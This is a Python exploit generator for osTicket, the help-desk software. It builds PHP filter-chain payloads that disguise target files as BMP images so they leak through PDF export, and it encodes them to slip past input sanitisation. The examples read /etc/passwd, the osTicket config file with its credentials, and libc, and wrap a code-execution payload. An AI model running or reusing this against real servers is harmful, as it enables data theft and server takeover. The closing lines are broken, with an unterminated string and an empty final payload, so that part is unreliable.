# Original idea of formatting files as bitmap images taken from Hitcon 2022 web2pdf challenge: https://blog.splitline.tw/hitcon-ctf-2022/#%F0%9F%93%83-web2pdf-web # Code based on: https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT # # Example usage: # python osticket_ticket_payload_gen.py -f /etc/passwd include/ost-config.php /proc/self/maps,b64zlib # python osticket_ticket_payload_gen.py -f /usr/lib/x86_64-linux-gnu/libc.so.6,b64zlib -r # python osticket_ticket_payload_gen.py -p cnext_payload -r import base64, sys, string from urllib.parse import quote from argparse import ArgumentParser ICONV_MAPPINGS = { "61": "convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE", "59": "convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361", "66": "convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213", "50": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB", "68": "convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE", "57": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936", "6f": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE", "6a": "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16", "32": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921", "35": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE", "69": "convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000", "56": "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB", "51": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2", "58": "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932", "67": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8", "34": "convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE", "5a": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16", "33": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE", "4e": "convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4", "4b": "convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE", "42": "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000", "45": "convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT", "73": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90", "74": "convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS", "4c": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC", "4d": "convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T", "75": "convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61", "72": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101", "44": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213", "2f": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4", "43": "convert.iconv.CN.ISO2022KR", "6b": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2", "38": "convert.iconv.JS.UTF16|convert.iconv.L6.UTF-16", "6e": "convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61", "36": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2", "31": "convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4", "65": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937", "62": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE", "54": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103", "53": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS", "30": "convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.iconv.ISO6937.EUC-JP-MS|convert.iconv.EUCKR.UCS-4LE", "37": "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4", "6d": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949", "6c": "convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE", "39": "convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB", "52": "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4", "55": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943", "63": "convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2", "64": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5", "46": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB", "79": "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT", "41": "convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213", "77": "convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE", "48": "convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213", "70": "convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4", "4a": "convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4", "4f": "convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775", "71": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2", "76": "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO_6937-2:1983.R9|convert.iconv.OSF00010005.IBM-932", "49": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213", "47": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90", "78": "convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS", "7a": "convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937" } parser = ArgumentParser(description="Generate osTicket ticket payload to retrieve provided file paths, or wrap custom PHP payload. Set -r flag if the payload will be used to reply to an existing ticket.") parser.add_argument('-f', '--files', nargs='*', help='Zero or more file paths to fetch. Add ,b64 or ,b64zlib to add conversions to file, e.g. /etc/passwd,b64lib', required=False) parser.add_argument('-p', '--payload', help='file path containing PHP payload', required=False) parser.add_argument('-r', '--reply', action='store_true', help='Generate payload for ticket reply (vs ticket creation)') args = parser.parse_args() PAYLOAD_FILE = args.payload FILE_PATHS = args.files if not PAYLOAD_FILE and not FILE_PATHS: print('no file paths or payload file provided') sys.exit(1) payloads = [] if PAYLOAD_FILE: payloads.append(open(PAYLOAD_FILE, 'r').read()) if FILE_PATHS: for f in FILE_PATHS: # Depending on the file you may get slightly different results depending on the encoding, especially towards the end of the file # Note there appears to limit to the size of any individual BMP file you can pull back of roughly ~45K. File is truncated after that limit. if len(f.split(',', 1)) > 1: file_to_use, encoding = f.split(',', 1) if encoding not in ['plain', 'b64', 'b64zlib']: print(f'Invalid encoding: {encoding}, defaulting to plain text retrieval') encoding = 'plain' else: file_to_use = f encoding = 'plain' width, height = 15000, 1 payload = b'BM:\x00\x00\x00\x00\x00\x00\x006\x00\x00\x00(\x00\x00\x00' + \ width.to_bytes(4, 'little') + \ height.to_bytes(4, 'little') + \ b'\x01\x00\x18\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' base64_payload = base64.b64encode(payload).decode() filters = "convert.iconv.UTF8.CSISO2022KR|" filters += "convert.base64-encode|" # make sure to get rid of any equal signs in both the string we just generated and the rest of the file filters += "convert.iconv.UTF8.UTF7|" for c in base64_payload[::-1]: filters += ICONV_MAPPINGS[(str(hex(ord(c)))).replace("0x","")] + "|" filters += "convert.base64-decode|" filters += "convert.base64-encode|" filters += "convert.iconv.UTF8.UTF7|" filters += "convert.base64-decode" if encoding == 'b64' or encoding == 'b64zlib': filters = "convert.base64-encode|" + filters if encoding == 'b64zlib': filters = "zlib.deflate|" + filters payloads.append(f"php://filter/{filters}/resource={file_to_use}") # osTicket specific logic # url encode certain characters to bypass various checks. in particular it's important that php:// needs to be turned into php%3a// # the path will get url decoded in the mpdf version included in osTicket # # Also Noticed that file paths with capital letters get turned into lowercase somewhere in the PDF processing. # To work around this, we also urlencode capital letters def quote_with_forced_uppercase(input_string: str) -> str: safe_chars = string.ascii_lowercase + string.digits + '_.-~' encoded_parts = [] for char in input_string: if 'A' <= char <= 'Z': encoded_parts.append(f"%{ord(char):X}") elif char in safe_chars: encoded_parts.append(char) else: encoded_parts.append(quote(char)) return "".join(encoded_parts) # The SEP sequence is part of the payload and used to bypass some input validation/sanitization in osTicket and htmLawed. # The separator is different when creating a new ticket vs replying to an existing ticket # # This exploit was tested specifically against osticket version 1.18.2 should work with other recent versions. # Very old versions of osTicket circa 2020 and before actually don't seem to need any special separator (this has not been tested) SEP = "&#34" if args.reply else """ final_payload = '' print(final_payload)